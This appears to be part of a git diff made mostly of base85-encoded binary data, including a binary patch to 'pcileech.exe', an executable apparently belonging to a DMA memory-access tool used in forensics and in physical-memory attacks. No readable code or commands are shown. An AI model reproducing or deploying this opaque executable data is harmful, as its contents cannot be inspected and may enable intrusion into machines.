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 diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe index 55d67b3e9b2b0afaa9e17edf0085e83f4013a9bf..ed332ad239eef298c3fbe6b9a9c3123ad8b2aa2a 100644 GIT binary patch delta 62807 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 